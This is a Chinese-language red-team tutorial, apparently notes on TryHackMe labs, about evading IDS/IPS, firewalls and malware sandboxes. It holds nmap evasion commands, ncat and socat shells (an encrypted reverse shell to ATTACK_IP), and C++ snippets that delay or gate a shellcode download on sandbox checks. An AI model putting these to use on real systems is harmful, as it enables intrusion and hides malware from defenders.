入侵检测系统(IDS)是检测网络或系统入侵的系统,英文名全称: "Intrusion Detection System "。它相当于是一个监控,可以发现恶意行为但是却无法阻止,如果它联系另一个系统(IDPS)入侵防御系统,它是一个可以检测和防止入侵的系统。简称(IPS),英文名全称:“Intrusion Prevention System”
Snort是一个网络入侵检测和入侵防御系统。因此,Snort 可以设置为IDS或 IPS。为了使 Snort 发挥 IPS 的作用,它需要某种机制来阻止 (drop ) 违规连接。此功能要求将 Snort 设置为inline桥接两个或多个网卡。作为一种基于签名的网络IDS,Snort如下图所示:
下图显示了如果设置为内联,如何将 Snort 配置为IPS :
IDS设置可以根据其在网络中的位置分为:
基于主机的IDS (HIDS) 与其他正在运行的应用程序一起安装在操作系统上。此设置将使 HIDS 能够监控进出主机的流量;此外,它还可以监控主机上运行的进程。
基于网络的IDS (NIDS) 是用于监控网络流量的专用设备或服务器。应连接 NIDS,以便它可以监控我们想要保护的网络或 VLAN 的所有网络流量。这可以通过将 NIDS 连接到交换机上的监控端口来实现。NIDS 将处理网络流量以检测恶意流量。
两个红色圆圈来显示HIDS与 NIDS覆盖范围的差异:
我们可以将网络流量分为:
IDS检测引擎要么围绕检测恶意流量和活动而构建,要么围绕识别正常流量和活动而构建。认识到“正常”可以很容易地发现任何与正常的偏差。
IDS的检测引擎可以是:
总的来说基于签名的IDS引擎拥有包含所有已知恶意数据包内容的数据库并且需要不断更新,基于异常的IDS引擎需要了解正常流量而不是恶意流量。
逃避 IDS/IPS 系统的通用方法,通常有以下四种:
扫描目标时,使用以下命令:
nmap -sS -Pn -g 80 -F 10.10.199.19
端口扫描流量看起来就像与HTTP服务器交互一样。
如果要扫描UDP端口,可以使用以下:
nmap -sU -Pn -g 53 -F 10.10.199.19
IPv4 中另一种可能的方法是IP 数据包分段,即会话拼接。如果将与攻击相关的数据包分解为更小的数据包,这可以将避免匹配IDS签名。
Nmap 提供了一些对数据包进行分段的选项:
方法通常有以下:
由于IDS规则非常具体,因此您可以进行细微更改以避免检测。这些变化包括添加额外的字节、混淆攻击数据以及加密通信
urlencode命令,会把后面的内容进行url编码
urlencode ncat -lvnp 1234 -e /bin/bash
工具网址:
https://icyberchef.com/
假设目标系统能够正确解释并执行它,这显然是一个巨大的转换,可以帮助我们逃避检测。
由于 IDS/IPS 不会检查加密数据,因此攻击者可以利用加密来逃避检测。与编码不同,加密需要加密密钥。
加密的反向shell可以分三步进行:
首先在攻击机上使用 openssl 创建密钥:
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout thm-reverse.key -out thm-reverse.crt
然后使用cat命令创建 PEM文件,隐私增强邮件 (PEM).pem文件需要连接私钥.key和证书.crt文件:
cat thm-reverse.key thm-reverse.crt > thm-reverse.pem
准备好 pem文件后,我们就可以监听了,同时使用密钥加密与客户端的通信:
socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT
socat OPENSSL:ATTACK_IP:4443,verify=0 EXEC:/bin/bash
这时候返回监听,可以看见已经成功接受到反向shell了
如果 IDS/ IPS检查流量,则所有数据包数据都将被加密。比如使用:cat /etc/passwd
通过抓包可以发现,数据完全隐蔽了,没有可疑的流量
如果未使用加密凭据,数据包就会显现出来敏感的字符串
方法主要有以下:
可以使用源路由来强制数据包使用特定路由到达目的地。Nmap 使用选项提供此功能–ip-options:
请求通过提供的两个 IP 地址路由扫描数据包
nmap --ip-options "L 10.10.10.50 10.10.50.250"
严格路由要求您设置系统和目标主机之间的每一跳
nmap --ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3"
nmap 的 --proxies,可以进行代理服务器来帮助隐藏来源。有效协议为HTTP和 SOCKS4;此外,目前不支持身份验证。
nmap --proxies http://127.0.0.1:10809 xx.xx.xx.xx
or
nmap --proxies http://127.0.0.1:10809, socks4://proxy.example.com:4153 xx.xx.xx.xx
通常有两种方式:
随着规则数量的增加和网络流量的增加,IDS / IPS 需要很高的处理能力。特别是在 IDS 的情况下,主要响应是记录与签名匹配的流量信息:
渗透测试框架,例如 Cobalt Strike 和 Empire,提供可延展的命令和控制 ( C2 ) 配置文件。这些配置文件允许进行各种微调以逃避 IDS/IPS 系统。我们可以创建一个自定义的配置文件:
CobaltStrike 指南配置文件:
https://github.com/bigb0sss/RedTeam-OffensiveSecurity/blob/master/01-CobaltStrike/malleable_C2_profile/CS4.0_guideline.profile
防火墙是监视网络流量并在通过或阻止网络流量之前将其与一组规则进行比较的软件或硬件。不同类型的防火墙能够检查不同的数据包字段,最基本的防火墙应该至少能够检查以下字段:
根据协议字段,IP 数据报中的数据可以是多种选项之一。三种常见的协议是:
防火墙可以检查 TCP 和 UDP 标头:
防火墙可能或可能无法分析许多字段,即使是最有限的防火墙也应该让防火墙管理员能够控制允许或阻止的源端口号和目标端口号。TCP头:
防火墙的分类有多种方法,对防火墙进行分类的一种方法是看它们是否是独立的设备:
从红队的角度来看,最关键的分类是基于防火墙检查能力。值得考虑下图所示的 ISO/OSI 层的防火墙能力。在我们根据防火墙的功能对防火墙进行分类之前,值得记住的是,防火墙重点关注第 3 层和第 4 层,并在较小程度上关注第 2 层。下一代防火墙还设计为覆盖第 5 层、第 6 层和第 7 层。防火墙可以检查的层数越多,它就越复杂,所需的处理能力也就越强。
根据防火墙的能力,我们可以列出以下防火墙类型:
传统防火墙(例如数据包过滤防火墙)期望端口号来指示正在使用的协议并识别应用程序。因此,如果要阻止应用程序,则需要阻止端口。不幸的是,这不再有效,因为许多应用程序使用分配给其他应用程序的端口来伪装自己。换句话说,端口号不足以也不可靠地识别正在使用的应用程序。除此之外,还普遍使用加密技术,例如通过 SSL/TLS。
下一代防火墙(NGFW)旨在应对现代企业面临的新挑战。例如,NGFW 的一些功能包括:
当扫描防火墙后面的主机时,防火墙通常会检测并阻止端口扫描。这种情况需要我们调整网络和端口扫描以逃避防火墙。
nmap 为我们提供了这样的功能,技术主要分为三种:
规避方法 Nmap 参数
用诱饵隐藏扫描 -D DECOY1_IP1,DECOY_IP2,ME
使用随机诱饵隐藏扫描 -D RND,RND,ME
使用 HTTP/SOCKS4 代理来中继连接 --proxies PROXY_URL
欺骗源MAC地址 --spoof-mac MAC_ADDRESS
欺骗源IP地址 -S IP_ADDRESS
使用特定的源端口号 -g PORT_NUM或者--source-port PORT_NUM
用诱饵隐藏你的扫描。使用诱饵会使您的 IP 地址与其他“诱饵”IP 地址混合。防火墙和目标主机将很难知道端口扫描来自何处,这可能会耗尽蓝队调查每个源 IP 地址的精力。
使用以下命令,添加诱饵源IP地址来迷惑目标:
nmap -sS -Pn -D 10.10.10.1,10.10.10.2,ME -F MACHINE_IP
还可以将 Nmap 设置为使用随机源 IP 地址,而不是显式指定它们,使用以下命令:
nmap -sS -Pn -D RND,RND,ME -F MACHINE_IP
看到 Nmap 如何选择两个随机 IP 地址以及我们自己的 IP 地址10.14.17.226
使用 HTTP/SOCKS4 代理。通过代理中继端口扫描有助于使目标主机不知道您的 IP 地址。此技术允许您在目标记录代理服务器的 IP 地址时隐藏您的 IP 地址。使用 Nmap 选项 --proxies PROXY_URL:
nmap -sS -Pn --proxies 10.10.13.37 MACHINE_IP
欺骗源MAC地址,仅当您的系统与目标主机位于同一网段时,欺骗MAC地址才有效。
nmap --spoof-mac MAC_ADDRESS
欺骗源IP地址,此技术只能用于当您的系统与目标主机位于同子网中,否则将无法阅读发回的回复。原因是目标主机将回复欺骗的 IP 地址,除非可以捕获响应,否则将无法从该技术中受益。欺骗 IP 地址的另一个用途是当您控制具有该特定 IP 地址的系统时。因此,如果您发现目标开始阻止欺骗性 IP 地址,您可以切换到属于您也控制的系统的其他欺骗性 IP 地址。这种扫描技术可以帮助你保持隐秘的存在;此外,您可以使用此技术来利用网络上基于 IP 地址的信任关系。
nmap -S IP_ADDRESS
使用特定的源端口号。如果您发现防火墙允许来自特定源端口号(例如端口 53 或 80)的传入数据包,则从一个特定源端口号进行扫描会很有帮助。如果不检查数据包内容,来自源 TCP 端口 80 或 443 的数据包看起来就像来自Web 服务器,而来自 UDP 端口 53 的数据包看起来像是对 DNS 查询的响应。
-g可以使用 或 选项设置端口号 --source-port:
nmap -sS -Pn -g 8080 -F MACHINE_IP
nmap -sS -Pn --source-port 8080 -F MACHINE_IP
规避方法Nmap 参数
将IP数据分片成8个字节 -f
将IP数据分片成16字节 -ff
给定 MTU 的数据包分片 --mtu VALUE
指定数据包长度 --data-length NUM
我们可以控制数据包的大小:
对数据包进行分段的一种简单方法是使用该-f选项。此选项会将 IP 数据包分段以仅携带 8 字节的数据。运行 Nmap TCP 端口扫描意味着 IP 数据包将保存 24 个字节,即 TCP 标头。如果要将 IP 数据限制为 8 字节,则 TCP 标头的 24 字节将分为 3 个 IP 数据包。运行以下命令:
nmap -sS -Pn -f -F MACHINE_IP
一个方便的选项是-ff,将 IP 数据限制为 16 字节(一个f是8字节,两个f是16字节)。使用以下命令:
nmap -sS -Pn -ff -F MACHINE_IP
另一种对数据包进行分段的巧妙方法是设置 MTU。在 Nmap 中,–mtu VALUE 指定每个 IP 数据包的字节数。MTU 设置的值必须始终是 8 的倍数。
nmap -sS -Pn --mtu 8 -F MACHINE_IP
在某些情况下,可能会发现数据包的大小触发了防火墙或 IDS/IPS 来检测并阻止您。如果您发现自己处于这种情况,您可以通过设置特定的长度来使端口扫描更加躲避。您可以使用 设置 IP 数据包中携带的数据长度:长度必须是8的倍数
nmap -sS -Pn --data-length 64 -F MACHINE_IP
规避方法 Nmap 参数
设置IP生存时间字段 --ttl VALUE
发送具有指定 IP 选项的数据包 --ip-options OPTIONS
发送 TCP/UDP 校验和错误的数据包 --badsum
Nmap 允许您控制可能有助于逃避防火墙的各种标头字段。你可以:
nmap 可以使用我们控制IP标头中的不同字段,我们可以控制的字段之一是生存时间(TTL)。将 TTL 设置为自定义值,使用此参数 --ttl VALUE:
nmap -sS -Pn --ttl 81 -F 10.10.52.6
可以使用的另一个技巧是发送带有故意错误的校验和的数据包。有些系统会丢弃校验和错误的数据包,而其他系统则不会。我们可以利用这一点来发现有关网络中系统的更多信息:使用 --badsum 参数:
nmap -sS -Pn --badsum -F 10.10.52.63
使用端口规避的技术通常有三种:
端口跳跃是一种应用程序从一个端口跳到另一个端口直到可以建立并维持连接的技术。因为防火墙会阻止一些端口,如果去连接合法的端口,那么我们可以通过此技术逃避防火墙。
比如防火墙只开启了 21 端口可以进行访问,那么我们可以利用21 端口的合法性进行连接:
ncat -lnvp 21
端口隧道也称为端口转发和端口映射。简单来说,这种技术将发送到一个目标端口的数据包转发到另一个目标端口。
比如发送到一个系统上的8008端口的数据包转发到另一个系统的80端口,运行以下命令:
ncat -lvnp 8008 -c "ncat target_ip 80"
这段命令意思是,将目标的80最后转发到本地的8008端口。因为防火墙只允许8008端口,所以要先监听
恶意软件分析是分析可疑文件的过程,以确定它在微观层面(通过查看程序集)和宏观层面(通过查看它在系统上的行为)的行为。此过程使蓝队成员可以更好地了解恶意程序,这可以帮助他们开发检测。
蓝队成员可以通过两种方式分析可疑文件;一种方法是使用 IDA 或 Ghidra 等反汇编程序在微观层面上查看代码(如前所述)。这个过程被称为“静态分析”。
我们可以通过称为“动态分析”的过程观察可疑文件在系统上执行时会发生什么。系统上通常会安装许多分析工具,例如EDR Software、Sysmon、ProcMon、Process Hacker 和调试器(例如 OllyDebug、WinDbg、x64Dbg)等等。
蓝队成员提出的分析可疑文件的最有创意和最有效的方法之一是动态分析。此方法涉及在容器化(或虚拟化)环境中运行文件;该环境称为沙箱。根据选择的沙箱,您也许能够自定义正在运行的 Windows 版本、计算机上安装的软件等等。
沙箱提供了一种安全有效的方法来监视可疑文件在生产系统上运行(或允许将其发送到生产系统)之前的行为。网络的各个部分可能存在许多商业沙箱。
在上图中,存在三个不同的沙箱。在企业环境中存在一个、两个甚至三个沙箱的情况并不少见。通常我们可能会在以下位置找到它们:
每个沙箱的工作方式可能不同;例如:
防火墙可以执行电子邮件中的附件并查看发生何种类型的网络通信,而邮件沙箱可以打开电子邮件并查看电子邮件中的嵌入文件是否触发通过SMB等协议的下载,以尝试窃取 NetNTLM 哈希,其中基于主机的防病毒沙箱可以执行该文件并监视恶意程序行为或对系统的更改。
我们将涵盖以下四大类:
恶意软件沙箱通常会受到时间限制,以防止资源过度分配,这可能会急剧增加沙箱队列。这是我们可以滥用的一个重要方面;如果我们知道沙箱在任何给定时间只会运行五分钟,我们可以实现一个睡眠计时器,在执行 shellcode 之前睡眠五分钟。这可以通过多种方式完成;一种常见的方法是查询当前系统时间,并在并行线程中检查并查看已经过去了多少时间。五分钟过去后,我们的程序就可以开始正常执行了。
另一种流行的方法是进行复杂的、计算量大的数学运算,这可能需要一定的时间 - 例如,计算斐波那契数列达到给定的数字。请记住,根据系统的硬件,执行此操作可能需要或多或少的时间。 屏蔽您的应用程序通常是避免反病毒检测的好主意,因此这应该已经包含在您的工具包中。
请注意,某些沙箱可能会改变内置的睡眠功能;各种反病毒供应商都发表了有关绕过内置睡眠功能的博客文章。所以强烈建议您开发自己的睡眠功能。以下是一些有关绕过睡眠功能的博客文章:
https://evasions.checkpoint.com/techniques/timing.html
https://www.joesecurity.org/blog/660946897093663167
沙箱的一个决定性因素是它们通常位于外部并由反病毒提供商托管。如果知道自己正在攻击一家欧洲公司 TryHackMe,并且您的二进制文件是在加利福尼亚州执行的,那么您可以做出有根据的猜测,该二进制文件最终进入了沙箱。 我们可以选择在程序上实施地理位置过滤器,检查 IP 地址块是否属于您所定位的公司所有,或者是否来自住宅地址空间。我们可以使用多种服务来检查此信息:
ifconfig.me
https://rdap.arin.net/registry/ip/1.1.1.1
此方法仅在主机可以访问互联网的情况下才有效。
大多数沙箱的资源通常会减少。流行的恶意软件沙盒服务 Any.Run 仅为每个虚拟机分配 1 个 CPU 核心和 4GB RAM:
网络中的大多数工作站通常具有 2-8 个 CPU 内核、8-32GB RAM 和 256GB-1TB+ 驱动器空间。这很大程度上取决于您所针对的组织,但一般来说,系统有超过 2 个 CPU 核心和超过 4GB 的 RAM,理论上说不是沙箱,我们可以通过这点来定制代码查询基本的系统信息(CPU 核心数量、RAM 数量、磁盘大小等),如果是沙箱就退出,不是沙箱就执行。
可以过滤的其他示例:
查询有关 Active Directory 域的信息。几乎没有恶意软件沙箱加入域中,因此可以相对安全地假设如果计算机未加入域,则它不是正确的目标!我们可以一些有关域的信息以确保安全:
这里以 C++语言进行演示,Sleep(120000)函数先睡眠两分钟,两分钟过后执行shellcode代码
int main() {
Sleep(120000);
downloadAndExecute();
return 0;
}
测试代码:
编译好恶意文件后,可以上传到这个网站:
http://any.run/
睡眠绕过,如图可以看见这个恶意文件没有任何活动反应:
这是正常的恶意文件,没有进行睡眠。可以发现HTTP请求发送到Cloudflare
原理主要是通过 https://ifconfig.me/ip 来实现的,把伪造的ip放入这个网站后面来实现地理位置绕过
BOOL checkIP()
// 声明上面提到的所需变量。
{
// 使用 URLOpenBlockingStreamA 函数打开 ifconfig.me/ip 的互联网流以检查当前的 IP 地址。
const char* websiteURL = "https://ifconfig.me/10.10.10.10";
// 创建一个stream来访问网站
IStream* stream;
// 创建一个字符串变量,我们将在其中存储从网站接收的字符串数据
string s;
// 在内存中创建一个空间来存储我们的IP地址
char buff[35];
unsigned long bytesRead;
// 打开到远程网站的stream
URLOpenBlockingStreamA(0, websiteURL, &stream, 0, 0);
// 当数据从网络服务器发送时,将其写入内存
while (true) {
stream->Read(buff, 35, &bytesRead);
if (0U == bytesRead) {
break;
}
s.append(buff, bytesRead);
}
// 检查字符串数据是否等于受害者的 IP 地址。如果为 True,返回 TRUE;否则返回 FALSE。
if (s == "VICTIM_IP") {
return TRUE;
}
else {
return FALSE;
}
}
int main(){
if(checkIP() == TRUE){
downloadAndExecute();
return 0;
}
测试代码对比:
有ip过滤器的:我们可以看到 ifconfig.me 被标记为“可疑/潜在恶意”站点,用于检查你的外部 IP 地址。实际上,这种沙盒规避方法最终损害了我们的分数。因此它应该用作最后的手段或与最近部署/自定义 IP 地址检查服务器一起使用。
没有IP过滤器的:
通过这次对比,我们必须仔细挑选要实施的规避技术,因为有些技术可能弊大于利
因为沙箱的内存通常都是比较小的,所以我们可以通过查看内存来进行反沙箱,主要以下关键代码:
#include
#include
using namespace std;
int main() {
// 声明 MEMORYSTATUSEX 结构
MEMORYSTATUSEX statex;
// 将结构体的长度设置为结构体的大小
statex.dwLength = sizeof(statex);
// 调用 GlobalMemoryStatusEx Windows API 获取当前内存信息
GlobalMemoryStatusEx(&statex);
// 打印系统上安装的物理内存
cout << "There is " << statex.ullTotalPhys/1024/1024/1024 << "GiB of memory on the system.";
}
BOOL memoryCheck() {
// 此函数将检查系统是否有 5+GB RAM
// 声明 MEMORYSTATUSEX 结构
MEMORYSTATUSEX statex;
// 将结构体的长度设置为结构体的大小
statex.dwLength = sizeof(statex);
// 调用 GlobalMemoryStatusEx Windows API 获取当前内存信息
GlobalMemoryStatusEx(&statex);
// 检查系统内存是否大于 5.00GB
if (statex.ullTotalPhys / 1024 / 1024 / 1024 >= 5.00) {
return TRUE;
} else {
return FALSE;
}
}
int main() {
// 评估安装的 RAM 量是否大于 5.00 GB,
// 如果为 true,则下载 Shellcode且执行,否则为 false,且退出程序。
if (memoryCheck() == TRUE) {
downloadAndExecute();
} else {
exit;
}
return 0;
}
测以上试代码:
具有内存检测功能的,可以发现工作正常,没有任何问题。当发现设备的 RAM 小于 5GB 时优雅地退出程序。
没有内存检测功能的,可以看见它在发送http请求
我们可以通过查询 AD域相关的信息。NetGetDCName 这是一个相对简单的 Windows API,用于获取环境中的主域控制器。主要有以下代码实现:
#include
#pragma comment(lib, "netapi32.lib")
BOOL isDomainController(){
// 创建一个指向宽字符串的长指针,供我们的 DC 名称使用
LPCWSTR dcName;
// 查询 NetGetDCName Win32 API 的域控制器名称
NetGetDCName(NULL, NULL, (LPBYTE *) &dcName);
// 将 DCName 从宽字符串转换为字符
wstring ws(dcName);
string dcNewName(ws.begin(), ws.end());
// 搜索 dcNewName 变量中是否引用了 UNC 路径。如果是这样,则环境中可能存在域控制器。如果这是真的,则通过检查,否则,失败
if ( dcNewName.find("\\\\"){
return TRUE;
} else {
return FALSE;
}
}
int main() {
if (isDomainController == TRUE) {
downloadAndExecute();
}
测试代码:
我们将使用 VirusTotal。查看 SysInternals Sandbox 的结果,我们可以看到我们的 Sandbox 规避技术有效。未向 Cloudflare 发出出站请求。
没有代码功能的,可以看见我们的恶意软件在第二阶段到达了我们的C2服务器。
参考:
https://tryhackme.com/jr/redteamnetsec
https://tryhackme.com/jr/redteamfirewalls
https://tryhackme.com/jr/sandboxevasion